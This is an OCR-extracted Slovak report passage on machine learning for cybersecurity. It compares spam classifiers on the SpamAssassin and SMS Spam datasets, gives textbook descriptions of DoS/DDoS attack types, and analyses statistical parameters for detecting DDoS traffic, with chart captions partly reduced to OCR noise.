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1 STROJOVE UCENIE AUMELA  INTELIGENCIA
V OBLASTI KYBERNETICKEJ BEZPECNOSTI

S nastupom informacného veku sa kyberneticka bezpecnost stala naliehavym
problémom v dnesnej spoloCnosti a zru€nostou, ktora je v priemysle velmi ziadana. Podniky,
vlady aj individualni pouZivatelia su vSetci vystaveni riziku bezpeénostnych utokov a naruseni.
Zakladnym cielom kybernetickej bezpec€nosti je chranit pouzivatefov a ich udaje. Kyberneticka
bezpecnost je mnohostranny problém, od vysoko technickych oblasti (kryptografia a sietové
utoky) az po oblasti, s ktorymi sa stretavame s pouzivatelmi (detekcia nenavistnych prejavov
alebo podvodnych transakcii s kreditnymi kartami). Pomaha predchadzat poSkodeniu citlivych
informacii, predchadzat finanénym podvodom a stratdm a chranit pouzivatefov a ich
zariadenia pred Skodlivymi aktérmi. Velka ¢ast analytickych procesov, vySetrovania a detekcie
kybernetickej bezpec€nosti je v su€asnosti riadena strojovym ucenim ML (Machine Learning) a
sinteligentnymi“ systémami.

V nasledujucom texte popisujeme vysledky testov pre nasledujuce definované
bezpelnostné hrozby:

spam
DoS/DDoS utoky

malware

phishing

pokrocilé perzistentné hrozby APT

1.1 Detekcia neziaducich emailovych sprav (Spam)

Spamové e-maily (neziaduce spravy) tvoria priblizne 60 % globalnej e-mailovej
prevadzky. Okrem toho, Ze softvér na detekciu spamu sa od prvej spamovej spravy v roku
1978 vyrazne zdokonalil, kazdy, kto ma e-mailovy ucet, vie, Ze spam je nadalej ¢asovo
naro¢ny a drahy problém.

Zo S§irSieho mnoZstva beZne pouZivanych metdéd a algoritmov pre detekciu a
rozliSovanie medzi neSkodnymi/vyZziadanymi e-mailovymi spravami (angl. ham) a
neziaducimi/nevyZiadanymi spravami (angl. spam) sme vybrali a otestovali nasledovné
metody:

Decision Tree (rozhodovaci strom)
SVM

XGBoost

Naive Bayes

Logisticka regresia

V snahe vytvorit dostatoCne robustny a univerzalny systém sme pre nase experimenty
pouzili nasledovné datasety:

e SpamAssassin
¢ SMS Spam

Dataset SpamAssassin (tiez nazyvany SpamAssassin Public Corpus) je kolekcia e-
mailovych sprav, ktoré boli oznatené spam alebo ham. Databaza bola vytvorena projektom
Apache SpamAssassin, €o je open-source anti-spamova platforma. Korpus obsahuje niekolko
tisic e-mailovych sprav rozdelenych do kategorii spam a ham. Celkovo obsahuje dataset 6 047
sprav s pomerom spamu priblizne 31 %. Spamové spravy predstavuju nevyziadané komeréné
e-maily, pokusy o phishing a inu nechcenu komunikaciu, zatial ¢o ham spravy predstavuju
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legitimne osobné a profesionalne e-maily. E-mailové spravy su uloZzené ako surové textové
subory v Standardnom e-mailovom formate (RFC 822), pri€om sa zachovavaju hlavi¢ky, obsah
tela a metadata. Datova sada obsahuje rézne typy e-mailov s réznymi Stylmi formatovania,
obsahom HTML, odkazmi na prilohy a réznymi jazykmi (hoci prevazuje anglicka jazyk). Z
hladiska obsahu sa jedna o realne e-maily zhromazdené od skutoénych pouzivatelov, ktori
darovali svoje spravy, vdaka ¢omu su reprezentativne pre skutoéné vzorce spamu a hamu. V
datasete su zahrnuté celé hlavicky e-mailov, ktoré obsahuju cenné metadata, ako su
informacie o odosielatelovi, podrobnosti o smerovani, ¢asové peciatky a informacie o type
obsahu. V korpuse SpamAssassin su jednotlivé vzorky zoskupené do niekolkych kategorii:

e easy_ham - legitimne e-mailové spravy, ktoré sa daju l'ahko odlisit od spamu,
pretoze zvyCajne nemaju Ziadne ,spamové” signatury, ako napr. nadmerné
mnozstvo HTML kédu

e hard_ham — spravy, ktoré nie su typu spam ale ktoré sa v mnohych ohladoch
podobaju typickému spamu, ktory zvy€ajne pouziva HTML kéd, nezvyCajné
HTML znacky, farebny text resp. frazy znejuce ,spamom*

e spam — neZiaduce e-mailové spam spravy

NajCastejSie je tento dataset pouzivany na trénovanie a hodnotenie algoritmov
klasifikacie spamu, porovnavanie modelov strojového ucenia pre klasifikaciu textu, vyskum v
oblasti spracovania prirodzeného jazyka a vyhladavania informacii alebo testovanie technik
extrakcie prvkov pre filtrovanie e-mailov. Dataset bol v priebehu rokov vydany vo viacerych
verziach, priCom verejny korpus SpamAssassin je volne dostupny na vyskumné ucely.

Dataset SMS Spam je volne dostupna databaza SMS sprav zozbieranych pre ucely
vyskumu neziaducich spam sprav z mobilnych telefénov. Dataset bol zostaveny z niekolkych
zdrojov a obsahuje 5 574 anglickych, skutoénych a nekddovanych sprav, oznacenych ako
legitimne spravy typu ham alebo neZiaduce spravy typu spam.

1.1.1 Vyhodnocovanie testov
Pre vyhodnocovanie experimentov boli pouZzité nasledovné metriky.
Konfuzna matica

Konfuzna matica je jednym 2z najpopularnejSich spbésobov vyhodnocovania
akéhokolvek klasifikatného modelu. Hoci matica sama o sebe nie je metrikou, maticovu
reprezentaciu mozno pouZzit na definovanie réznych metrik, z ktorych vSetky sa stanu
délezitymi v nejakom konkrétnom pripade alebo scenari. Konfuznu maticu je mozné vytvorit
pre binarnu klasifikaciu, rovnako ako aj pre klasifikacny model s viacerymi triedami.

Konfuzna matica sa vytvori porovnanim predikovaného oznacenia triedy datového
bodu s jeho skutoénym oznacenim triedy. Toto porovnanie sa zopakuje pre cely subor dat
(dataset) a vysledky tohto porovnania sa zostavia v maticovom alebo tabulkovom formate.
Tato vysledna matica predstavuje konfuznu maticu (obr. nizSie).
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Skutoéna trieda

Kladna Zaporna
@ &  PoCetspravne | Poclet nespravne
3 - kladnych kladnych
- X (TP) (FP)
=
@©
3
% € | Pogetnespravne = Podet spravne
3 4 zapornych zapornych
e S (FN) (TN)

Obr. 1: Konftizna matica

Vo vSeobecnosti mame zvyc€ajne 2 triedy — kladnu/pozitivnu a zapornu/negativnu
Na zaklade tejto Struktury moéZzeme jasne vidiet Styri pojmy doleZitosti.

True Positive (TP) — Pocet spravne kladnych: Toto je suma celkového poctu prikladov
(datovych bodov z datasetu) z pozitivnej triedy, kde sa skuto¢né oznacenie triedy
rovnalo predpovedanému oznaceniu triedy, t. j. celkovym poétom pripadov, v ktorych
sme spravne predpovedali oznacenie pozitivnej triedy pomocou nadho modelu.

False positive (FP) — PoCet nespravne kladnych: Toto je poCet celkovych pripadov z
negativnej triedy, kde ich model nespravne klasifikoval tym, Ze ich predpovedal ako
pozitivne. Odtial pochadza nazov, faloSne pozitivny.

True Negative (FN) — Pocet spravne zapornych: Toto je poclet celkového poctu
prikladov z negativnej triedy, kde sa skutoCné oznaCenie triedy rovnalo
predpovedanému oznaceniu triedy, t. j. celkovy pocet pripadov, v ktorych sme spravne
predpovedali oznaenie negativnej triedy pomocou nasho modelu.

False negativne (FN) — PoCet nespravne zapornych: Toto je pocet celkového poctu
pripadov z pozitivnej triedy, kde ich nas model nespravne klasifikoval tym, Ze ich
predpovedal ako negativne. Odtial pochadza nazov, faloSne negativny.

Accuracy

Tato metrika je jednou z najpopularnejSich spdsobov merania resp. vyhodnocovania

efektivnosti lubovolného klasifikatora. Je definovana ako celkova presnost alebo podiel
spravnych predpovedi modelu. Vztah pre vypocet z konfuznej matice je nasledovny:

~ TP+IN
" TP+FP+IN+FEN

Precision

Precision (presnost), znama aj ako kladna prediktivha hodnota, je dalSou metrikou,

ktord mozno odvodit z konfuznej matice. Tato metrika je definovana ako pocet predikcii, ktoré
su skutoCne spravne alebo relevantné zo vSetkych predikcii zaloZzenych na kladne;j triede.
Vzorec pre tuto metriku je nasledovny:

p=_tt
TP+ FP
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Model s vysokou hodnotou presnosti identifikuje vy$Si podiel kladnej triedy v porovnani
s modelom s niZzSou presnostou. Tato metrika sa stava délezitou v pripadoch, ked sa viac
zaujimame o najdenie maximalneho poctu kladnych tried, aj ked' sa celkova presnost znizi.

Recall

Recall (uplnost) je metrika modelu na identifikaciu percenta relevantnych datovych
bodov. Je definovana ako pocet inStancii kladnej triedy, ktoré boli spravne predikované.
Oznaduje sa aj ako miera pokrytia alebo citlivost. Vztah pre vypocitanie tejto metriky je
nasledovny:

R=_ 1P
TP+ FN

Tato metrika sa stava délezitym ukazovatefom efektivnosti klasifikatora v scenaroch, v
ktorych chceme zachytit ¢o najvacsi pocet pripadov konkrétnej triedy, aj ked to spbsobi
zvySenie faloSnych detekcii/predikcii. Ako priklad mozno uviest pripad bankového podvodu,
model s vysokou hodnotou metriky recall nam poskytne vy3si pocet pripadov potencialnych
podvodov. Rovnako to v8ak zvysi vyvolanie poplachov pre vaésinu podozrivych pripadov.

F1-Score

Existuju pripady, v ktorych chceme dosiahnut vyvazenu optimalizaciu presnosti a
uplnosti. F1-Score je metrika, ktora je harmonickym priemerom metrik precision a recall a
pomaha nam optimalizovat klasifikator pre vyvazenu presnost a uplnost predikcie. Vzorec pre
vypocet F1-Score je nasledovny:

Fe 2. PR
P+R
1.1.2 Vysledky testov
SpamAssassin
Metdda Accuracy Precision Recall F1-score  Processing
time (sec.)
Decision tree 0.9761 0.9776 0.9774 0.9774 1.4
SVM 0.9928 0.9929 0.9928 0.9929 11.9
XGBoost 0.9928 0.9929 0.9928 0.9929 3.3
Log. Regression 0.9833 0.9833 0.9833 0.9833 1.2
Naive Bayes 0.8438 0.8624 0.8439 0.8330 1.3
Tab.1: Vysledky testov pre dataset SpamAssassin
SMS Spam
Metdda Accuracy Precision Recall F1-score Processing
time (sec.)
Decision tree 0.7585 0.7624 0.7585 0.7604 0.001
SVM 0.7706 0.7722 0.7706 0.7714 0.005
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XGBoost 0.7826 0.7757 0.7826 0.7791 0.001
Log. 0.7887 0.7709 0.7888 0.7795 0.001
Regression
Naive Bayes 0.7785 0.7733 0.7785 0.7759 0.001

Tab. 2: Vysledky testov pre dataset SMS Spam

1.1.3 Zhodnotenie testov

Na zaklade vykonanych experimentov mozno zhodnotit, Ze najvhodnejSia metdéda pre
detekciu emailovych sprav typu spam z hladiska efektivnosti je metdéda XGBoost. Pre dataset
~SpamAssassin“ dosahuje UspeSnostou detekcie spamu uroven 99%. Tato hodnota je takmer
identicka pre metriky Precision aj Recall, takze je velmi dobre pokryta detekcia falosSne
pozitivnych aj faloSne negativnych detekcii sprav typu spam. Pre tento dataset dosahuje
takmer identické vysledky aj metéda SVM, avSak €as vyhodnocovania v pripade algoritmu
SVM je priblizne 4x vacsi oproti XGBoost. Napriek tomu sa jedna stale o niekolko sekundovy
proces, takze mozno nasadit obe metddy pre real-time aplikacie. Pre dataset ,SMS Spam®
uspesnost detekcie spamu vyrazne klesla na hodnotu ~78%. NajlepSie vysledky dosiahla
metdda Logisticka regresia, hoci rozdiel medzi metédami XGBoost a Logistickou regresiou
predstavuje len desatiny percent. Z hladiska ¢asu potrebného pre predikciu dat, algoritmus
SVM opéat vyzaduje najdlhSi interval. Na zaklade vykonanych experimentov teda mozno
sumarizovat, Ze najvhodnejSou metédou na detekciu sprav typu spam je algoritmus XGBoost.

1.2 Detekcia DoS/DDoS utokov

Utoky typu ,denial-of-service* (DoS) a ,distributed denial-of-service* (DDoS) sa
zameriavaju na narusenie normalneho fungovania cielového servera, sluzby alebo siete tym,
Ze ju zahltia zaplavou internetovej prevadzky. Utoky DoS zvy&ajne pochadzaju z jedného
zdroja, zatial €o utoky DDoS su spustené z viacerych napadnutych zariadeni, Casto
rozptylenych globalne. Toto mnozZstvo zdrojov staZzuje zastavenie utokov DDoS a mézu mat
vyraznejsi dopad.

Tieto utoky funguju tak, Ze pretazia ciel vacSim pocltom poziadaviek, ako dokaze
spracovat, ¢o spdsobi vyrazné spomalenie alebo uplné zrutenie systému a odmietnutie sluzby
legitimnym pouzivatefom. Medzi bezné metddy patri zneuzivanie zranitefnosti servera alebo
pouzivanie siete botov, znamych ako botnet, na zaplavenie ciela prevadzkou. Motivacie tychto
utokov sa mézu lisit od jednoduchého vandalizmu a osobnych zasti az po vydieranie a politicky
aktivizmus.

1.2.1 DoS (Denial of Service)

Skratka DoS v preklade znamena utok odmietnutia nejakej sluzby. Tento typ utoku sa
pouziva na zahltenie servera. V tomto pripade utoénik vyuZiva zariadenie, ktorym sa pokusa
naruSit normalnu prevadzku cielového servera, sluzby alebo siete. Velmi rychlo sa stali
hrozbou kybernetickej bezpe€nosti. Su jednoduché avsak ich dopad mbze byt pre jedincov ale
aj spolo¢nosti devastujuci.

DoS utoky sa Casto pouzivaju pre vypnutie zariadeni a sieti a existuje vela réznych
spOsobov vyuzitia spominanych DoS utokov. Patria sem napr.:

e PreteCenie vyrovnavacej pamate (angl. buffer overflow): Vyrovnavacia pamat
je docasné ulozZisko pre ukladanie dat. Ak program alebo systémovy proces
umiestni viac udajov ako bolo vopred uréené, dalSie udaje potom pretecu a

mdze
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sa stat, ze niektoré z nich potom uniknu do inych vyrovnavacich pamati. To ma
potom za néasledok poskodenie alebo prepisanie dalSich udajov. Utoénik
dokaze na zaklade tohto principu poskodit’ subory, zmenit alebo odhalit’ rézne
informacie.

e ICMP utok (angl. ICMP attack alebo Ping of Death): Tento typ utoku vyuziva
ICMP protokol pri€om sa vyuzivaju ICMP echo-requesty tzv. pingy. VSeobecne
sa echo-requesty a echo-reply pouzivaju na ping sietového zariadenia s cielom
overit konektivitu medzi zariadenim a odosielateflom. Ak by uto¢nik zahltil ciel
paketmi poziadaviek, siet musi odpovedat rovnakym poctom paketov, €o
spbsobi nedostupnost zariadenia pre iné prichadzajuce poziadavky.

e UDP utok (angl. UDP attack): Utok je zaloZeny na posielani UDP paketov so
zdrojovou IP adresou, ktord moze uto€nik sfalSovat a snahou je zahltit nahodné
porty na cielovom servery. Vyhodou UDP protokolu je, Ze nepotrebuje
nadviazat spojenie, ako to je v pripade protokolu TCP. V pripade, Ze cielovy
server prijme UDP paket na porte, ktory nie je vyuzivany ziadnou aplikaciou,
informuje o tom odosielatela. Pokial uto¢nik odo$le dostato€né mnozstvo
paketov na takyto port, méze byt pretazeny.

e SYNutok (angl. SYN flood): Toto je utok, ktory vznika pri vytvarani TCP spojenia
medzi 2 zariadeniami. TCP vyuziva trojfazové potrasenie ruk (angl. 3-way
handshake). Nadviazanie spojenia za¢ina odoslanim spravy SYN. Ak je server
aktivny odoSle sa SYN/ACK sprava spat ku klientovi, ktori chcel nadviazat
spojenie. Server sa snazi odpovedat dokym nevyprsi ¢as na nadviazanie
komunikacie, pricom si udaje uchovava v pamati. Ak je klientom utoCnik s
faloSnou a nedostupnou zdrojovou adresou, zaslanie velkého mnozstva
takychto paketov méze spbsobit’ vyCerpanie pamate, ktora je uréena pre TCP
spojenia a v8etky dalSie pokusy o komunikaciu budu dalej ignorované.

e Utok slzy (angl. Teardrop attack): Pogas tohto ttoku sa utoénik snazi posielat
fragmentované pakety a siet sa potom snazi skompilovat' tieto data do ich
pévodného stavu. Utoénik méze vyuzit zranitelnost zastaraného operaéného
systému. Je bezné, Ze mnohé spoloCnosti stale vyuzivaju starSie verzie
systémov z dévodu opatovného spustania starej aplikacie a kedZe niektoré
verzie operacnych systémov ako su napr.: Linux ¢i Windows obsahuju chybu
pri spatnom zostaveni fragmentovaného paketu, server méze byt prave kvoli
tejto zranitefnosti napadnuty.

1.2.2 DDoS (Distributed Denial of Service)

Na rozdiel od jednoduchého DoS utoku, DDoS utok (Distributed Denial of Service)
nabera na sile, pretoze uto¢nik vyuziva viacero systémov naraz a zvySuje tak zavaznost
cielenych atokov. Utoénik moze pouzit malware, ktory odosle po sieti do zariadeni so zamerom
ich infikovat. Stanu sa tak sucCastou tzv. botnetu a podla prikazov Utocnika pomocou
riadiaceho servera tito boti potom jednotne utocia na cieleny server. DDoS utoky je velmi tazkeé
odhalit, pretoZe utoCiaci boti méZu byt rozmiestneny na réznych miestach po svete. Hlavny a
kldCovy rozdiel medzi DoS a DDoS utokom je, Ze pri DDoS s pouzitim botov méze uto€nik
posielat’ obrovskeé objemy prevadzky.
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DoS attack DDoS attack

Obr. 2: DoS a DDos utoky

DDoS utoky sa rozdeluju do 3 hlavnych kategorii:

1. Objemovy utok (angl. Volumetric attack): Tento typ vyuZiva zranitelné sluzby ako su
napr.: NTP, DNS & SSDP. Utoénik sa snazi zahltit ciel velkym objemom paketov, na
ktoré sa ciel snazi odpovedat, az kym nedéjde ku kolapsu na strane cielenej sietovej
infrastruktury. Zvy€ajne to je Sirokopasmovy utok, ktory dokaze presiahnut 100 GB &i
dokonca niekolko TB za sekundu a je okamZite oCividny pre poskytovatelov pripojenia.
Na detekciu objemovych utokov sa osvedcilo monitorovanie siete, analyzovanie toku a
prietokova telemetricka analyza.

2. Protokolovy utok (angl. Protocol attack): Tento typ utoku sa snaZzi vyCerpat zdroje
servera alebo jeho systémov a spolieha sa na zranitelnosti internetovych
komunikac¢nych protokolov. Medzi protokolové utoky patria napr.: SYN utok, UDP utok,
ICMP utok. Tieto utoky sa povazuju za dostatoCne ochromujuce na cielenu
infrastrukturu vdaka frekvencii trvania. V roku 2018 uto¢nici vyuzili BGP protokol na
presmerovanie prevadzky, ktora bola urCena pre sluzbu ,MyEtherWallet®, o v3ak bola
iba zasterka pre kradez kryptomenovych pefaZeniek. Trvalo to priblizne 2 hodiny.

3. Utok na aplikaénu vrstvu (angl. Application layer attack): Tento Utok sa zameriava na
konkrétnu aplikaciu a jej zranitefnosti, aby nebola schopna spracovavat, odosielat’ Ci
prijimat data. Utoky su slabé a pomalé a sustreduju sa na poziadavky GET a POST.
Cielom je potom ochromit webovy server a meria sa v poziadavkach za sekundu (angl.
Requests per second - Rps). Su nizke a slabé preto, aby boli v sulade s protokolom.

Existuje niekolko priznakov, ktoré nam dokazu pomoct pri odhaleni, €i je naSa siet
alebo aplikacia alebo cela infrastruktura pod DDoS utokom. Mdze to byt nahly narast webove;j
aktivity na serveri, znizeny vykon siete alebo nahla neschopnost’ komunikovat s aplikaciou.

1.2.3 Analyza Statistickych parametrov na vybranych DDoS utokoch

Na rbéznych zaznamoch DDoS utokov budeme prezentovat reakciu vybranych
Statistickych parametrov. Vynechali sme mnoZstvo experimentov, ktoré sme realizovali na
réznych simulovanych scenaroch. Na tychto scenaroch vybrané Statistické parametre
fungovali ,vzorovo“ a my sme nadobudli prvotnu predstavu o efektivnosti pouzitia jednotlivych
parametrov pri rozpoznani zmeny a narastu simulovanej prevadzky. Pri nasadeni na
rozpoznanie realneho utoku reakcie Statistickych parametrov uz neboli také jednoznaéné. Pre
prezentovanie sme vybrali osem réznych zaznamov DDoS utokov.
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Prvé Styri zaznamy predstavuju Standardné DDoS utoky (N-normal), pri ktorych sa
parametre chovaju obdobne ako na simulovanych datach. Dalie dva zaznamy predstavuji na
prvy pohlad tieZ Standardné utoky, avSak parametre sa pri nich chovaju podstatne odliSnym
neurcitym spdsobom (S-special). V poradi siedmy zédznam je zastupcom tzv. Low Rate (LR)
DDoS utokov, €ize utokov s nizkou priemernou intenzitou toku. Posledny zaznam je utok, ktory
sa podla nasho nazoru neda detegovat uvedenymi Statistickymi parametrami (P-ako problém).
Pri zaznamoch sme zaroven s podtom prirastkov paketov a(t) zobrazili aj ich kizavy priemer
m(t) s vypoctovym oknom cw = 1024 ts.

Zaznamy su navzorkované do danych €asovych okien (ts-time slot), vacSinou ts =
1ms. Pre postupny vypocCet parametrov sme pouzili posun tzv. vypoctového okna (cw —
compute window) o jeden ts. Pri prevadzani experimentov sme pre velkosti vypoc&tovych okien
kvoli odhadu Hurstovho exponentu pouzili rbzne mocniny dvojky (256,512,1024,2048,4096).
Po subjektivnom hodnoteni priebehu hodnét skumanych parametrov sme sa rozhodli dalej
zaoberat hlavne s vypo¢tovym oknom o velkosti cw = 1024 ts. Pri cw = 512 ts dochadzalo k
vyznamnému ,rozvineniu® niektorych parametroch, pri cw = 2048 sa vyznamne zvacsila doba
vypoctu parametrov, hlavne Hurstovho exponentu.

Na grafoch zdznamov DDoS utokov sme zobrazili aj priebeh kizavého priemeru a
zobrazili dasovy interval, v ktorom kizavy priemer m(t) nadobudol od zagiatku GUtoku svoje
lokalne maximum. Tento interval vyuzijeme pri subjektivnom hodnoteni ostatnych Statistickych
koeficientov. Na vSetkych zaznamoch DDoS utokov mdZzeme pozorovat linearny rast kizavého
priemeru. Hladame koeficienty, ktorym pri zaCiatku Uutoku za¢nu rast hodnoty rychlejSie nez
linearne.

“ am . :
Utok N8 aloet) Utok N6

5261 < ~! 6314 : : 78301s | 975418

:
1 ow=10241s

cw =1024 ts

Obr. 3: Utok N8 a kizavy priemer Obr. 4: Utok N6 a kizavy priemer

- 0

Utok N7 Utok N2

83001ts !

< low=1024ts

Low=1024ts
- kizavy priemer

7823ts |

kizavy priemer

e

Obr. 5: Utok N7 a kizavy priemer Obr. 6: Utok N2 a kizavy priemer
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Obr. 7: Utok S5 a kizavy priemer

L) Utok LR3

{

{
5244 |
: {
> cw=1024ts !

kizavy priemer
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Obr. 9: Utok LR3 a kizavy priemer

1.2.4 Variabilnost’, Sikmost’ a Spicatost’

Ako prvymi sa budeme zaoberat zakladnymi Statistickymi

: a(t)

& a(t)

BRAIN:IT

Utok S1

10000ts 1<\ >

'
'
) ow =1024 ts

\ kizavy priemer
H

n

Obr. 8: Utok S1 a kizavy priemer

Utok P4

3060ts
'

. ow=10241s *l 406515

kizavy priemer '

Obr. 10: Utok P4 a kizavy priemer

momentami, resp.

koeficientami variabilnosti V(t), Sikmosti K(t) a Spicatosti Skw(t). Koeficient variabilnosti
predstavuje podiel smerodajnej odchylky a strednej hodnoty prirastkov v danom €asovom
okne cw. Variabilnost vyjadruje mieru rozptylu prirastkov a(i) okolo strednej hodnoty. V prvom
grafe zobrazime priebeh kizavého priemeru a smerodajnej odchylky, na druhom grafe su
hodnoty koeficientu variabilnosti:

am .
Utok N8

'
5261 i<
'
'
o1 cw=10241s
'

ochylka

kizavy priemer

Obr. 11: Utok N8, priemer a odchylka

Utok N6

H 78301s i<
[ > cw=10241s i

odchylka

kizavy priemer

Obr. 13: Utok N6, priemer a odchylka
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Obr. 12: Utok N8, koeficient variabilnosti

Utok N6
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Obr. 14: Utok N6, koeficient variabilnosti
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V pripade Standardnych DDoS utokov (N2,N6,N7,N8) koeficient variabilnosti reagoval
rovnako. Standardna prevadzka predstavovala stacionarny tok s odchylkou mensou ako
stredna intenzita toku. Okamihu nastupu utoku odchylka zareagovala rychlejSim narastom
hodnét nez bol linearny rast kizavého priemeru, preto podiel odchylky a priemeru nadobudol v
okamihu utoku hodnotu V(tA) = 1. Tento fakt by sa dal vyuzit pre rychlu a jednoduchu detekciu
pri takomto type utoku. To ale nie je pravidlo, na obr.15 pri utoku S1 vidime, Ze pocas
Standardnej prevadzky je naruSena stacionarita a koeficient niekolko krat pre utokom prekrocil
hodnotu V(tA) = 1.

2 Utok S1 0 Utok S1
cw = 1024 ts d s cw =1024 ts 10000 ts ‘ ' 11000 ts
' 10000ts <> 11000 ts ] M P
smerodajna Vi
Kizavy priemer s L S
e SR SN : by
N~ t : | % t
Obr. 15: Utok S1, priemer a odchylka Obr. 16: Utok S1, koeficient variabilnosti

Na obr. 17 a 18 su grafy priemeru, odchylky a koeficientu variabilnosti pre tzv. Low Rate
DDoS utok LR3.

A Utok LR3 alt) UtOk LR3
: . it é‘ L ow=to241s E288 f ‘ ' 6249
>l ows= & ' !
' odchylka ' V(=1
A g VRIS kizavy priemer
L i————— e P i t
Obr. 17: Utok LR3, priemer a odchylka Obr. 18: Utok LR3, koeficient variabilnosti

V pripade LR3 je pocCas beZnej prevadzky odchylka vacsia nez stredna intenzita toku,
preto koeficient variabilnosti je po€as celého priebehu V(t)>1. Hodnota 1 sa teraz neda pouzit
pre rychlu detekciu. Ale v okamihu utoku hodnoty odchylky opat narastli rychlejSie nez linearny
rast strednej intenzity, €o sa prejavilo na vyraznom skokovom naraste koeficientu variabilnosti.
Tato zmena by sa mala dat’ rozpoznat pomocou predikénych metod.

Dalsimi jednoduchymi $tatistickymi parametrami su koeficient Sikmosti a koeficient
Spicatosti. Ide vlastne o treti a Stvrty centralny moment vyskalovany smerodajnou odchylkou.

Uy = — E[X — EX]? uy=—E[X—EX]* 0% =E[X —EX]?

V naSom pripade realizacie premennej X su hodnoty prirastkov a(t) a koeficienty
popisuju viastnosti rozdelenia pravdepodobnosti prirastkov v danom vypoc¢tovom okne cw. Pri
postupnom nacitavani utoCnej prevadzky do vyhodnocovaného okna cw sme predpokladali
vyraznu zmenu rozdelenia pravdepodobnosti a tym padom aj zmenu koeficientov. Tento
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predpoklad sa potvrdil skoro u vSetkych analyzovanych tokov. Obidva Statistické koeficienty
zareagovali vyraznym narastom svojich hodnét hned na zaciatku DDoS utoku.

Ako prvé uvadzame grafy koeficientov aplikovanych na vybranych dvoch Standardnych
utokoch a nasledne niektoré problematické situacie.

2 Utok N2 2 Utok N2
L ow=1024ts L cw=1024ts
782315 |« ~ 1 ogs21ts 7823ts §« . 0852 ts
koeficient $ikmosti ! + ! ! 1
o o Sl T . aB T e
A t - ) xe e t o
Obr. 19: Utok N2, koeficient $ikmosti Obr. 20: Utok N2, koeficient $picatosti
’ ' ' ' . I .
« Utok N8 o Utok N8
5261 § - 6314 ) : 5261 ik - 6314 |
J— L | ow=10241s .
Koeficient Sikmosti .?
A
Obr. 21: Utok N8, koeficient $ikmosti Obr. 22: Utok N8, koeficient $picatosti

Pri Standardnych utokoch typu N koeficienty Sikmosti s Spicatosti sa po€as vypoctu na
Standardnej prevadzke vdaka stacionarnosti len mierne vinia, v okamihu nastupu DDoS utoku
sa ich hodnoty vyrazne zvacsia. Predpokladame, Ze tento vyrazny skok budeme vediet
strojovo rozpoznat’ pomocou vhodnych predikénych metéd.

Podstatne nepriaznivejSia situacia nastala pri neStandardnych utokoch, napr. S1.
Vdaka nestacionarite beznej prevadzky a c&astému vyskytu vysokych peakov obidva
koeficienty silne kmitaju, vdaka Comu sa skok pri nastupe utoku straca v celkovom priebehu
toku hodnét obidvoch koeficientov. Nastup DDoS utoku je v takomto pripade strojovo
nerozpoznatelny.

Pre vizualizaciu reakcie koeficientov na zmenu charakteru beznej prevadzky a na
vyskyt peakov sme zobrazili hodnoty koeficientov do spoloéného grafu spolu s prirastkami toku
S1.

a(t) Utok é1 at Utok S1

10000ts !

> ow=10241s 10000ts 1 > 11000 ts J Tl > ow=1024ts

koeficient Spicatosti

iMM\WM\M“nmhﬁ-&mxhnw | ,MMMWM MK

Obr. 23: Utok S1, koeficient $ikmosti Obr. 24: Utok S1, koeficient $picatosti
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Reakcia koeficientov pri utoku s nizkou strednou intenzitou LR3 dopadla rovnako
pozitivne ako pri Standardnych utokoch typu N.

a(t) Utok LR3 gl Utok LR3
- ot ow= 1024t 8241} -4 6246 - ow=1024ts 5244 , 6246
koeficient Sikmosti ‘ : : : |
P S S o W § 4 § : P
; i T : i : :
Obr. 25: Utok LR3, koeficient sikmosti Obr. 26: Utok LR3, koeficient $picatosti

Opat vidime moznost strojovo rozpoznat vyrazny narast hodndt koeficientov pri
zaciatku utoku od hodnét popisujucich beznu prevadzku.

1.2.5 Detekéné hodnoty pre autokorelaciu a regresiu

Dalsie dva koeficienty popisuju autoregresnt a korelaénu zavislost medzi dvoma za
sebou iducimi cw oknami, resp. medzi ndhodnymi premennymi X(t) a X(t-1), ktorych realizacie
su prirastky toku a(t) v uvazovanych oknach.

E[(X(t) — EX(t))(X(t — 1) — EX(t — 1))]

X@t)= c(0).x(t—1)+=(t), p(t)= a(t)o(t — 1)

Velkou vyhodou tych koeficientov je, Ze ich hodnoty sa pohybuju v intervale (-1,1). V
okamihu nacitavania utoku do vyhodnocovanych cw okien pri vacsine utokoch zacali ich
hodnoty rychlo rast ku hornej hranici 1. Z tohto dévodu sa je mozne pre obidva koeficienty
nastavit ur€iti medznu hodnotu (threshold), ktorej prekroCenie by signalizovalo zaciatok DDoS
utoku. Cim nizs$ia je tato hodnota, tym véasnejsia je signalizacia Utoku, na druhi stranu moc
nizke utoky moézu spbsobit faloSné hlasenia. Na zaklade prevedenych experimentov a v snahe
identifikovat' €o najvacsie mnozstvo DDoS utokov bez faloSnych hlaseni sme nastavili hranicu
pre autoregresny koeficient na c(t) = 0.9 a korela¢ny koeficient na p(t) = 0.75. Na nasledujucich
grafoch sme opét zobrazili vyvoj koeficientov pre utoky N8, N2, S1 a LR3. Utok N8 predstavuje
chovanie koeficientov pri vacsine Standardnych utokov, na N2 vidime Standardny utok na
ktorom ale autokorelacny koeficient ma vSetky hodnoty vacsie ako 0.9 a detekcia sa neda
pouzit. Pri neStandardnom utoku S1 obidva koeficienty pri utoku presiahli detekéné hladiny.
Pre utok s nizkou intenzitou LR3 je tato metdda nepouzitelna.

' g g () .
o Utok N8 P I Utok N8 (\
; - e : : :

5261 | ~ 6314 . : 5261 ¢

e— - ow=10241s »tow=1024 1

Koeficient korelacie

| A VAN - )|
A M Wl
v \ o’ (“Nl‘\‘"wlvy*\x ,l‘-r gy W Y ,ﬁ:
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Obr. 27: Utok N8, Autoregresny koeficient Obr. 28: Utok N8, koeficient Korelacie
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Obr. 29: Utok N2, Autoregresny koeficient
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Obr. 31: Utok S1, Autoregresny koeficient
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Obr. 32: Utok S1, koeficient Korelacie
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Obr. 33: Utok LR3, Autoregresny koeficient Obr. 34: Utok LR3, koeficient Korelacie

Pre vacsinu utokov sa da predpokladat, Ze prekroCenie detekénych hodnét pri
autoregresii a korelacii sa bude dat v kombinacii s dalSimi koeficientami vyuzit pre skoru

jednoduchu detekciu zaplavového utoku.

1.2.6 Reakcia divergencie na DDoS utok
Poslednym analyzovanym parametrom Kullback-Leibler divergencia istym sp6sobom
porovnava rozdelenie pravdepodobnosti P(.) prirastkov a(t) v za sebou iducich prekrytych

vypoctovych oknach cw.
dvg(t) = Z P(t — 1)In(P(t — 1)/P(t))
k=1

Vyhodou divergencie je, Zze na sledovanych vzorkach vo vacsine pripadoch reagovala

okamzite na nastup DDoS utoku vysokym impulzom (peakom). Nevyhodou je, Zze mala
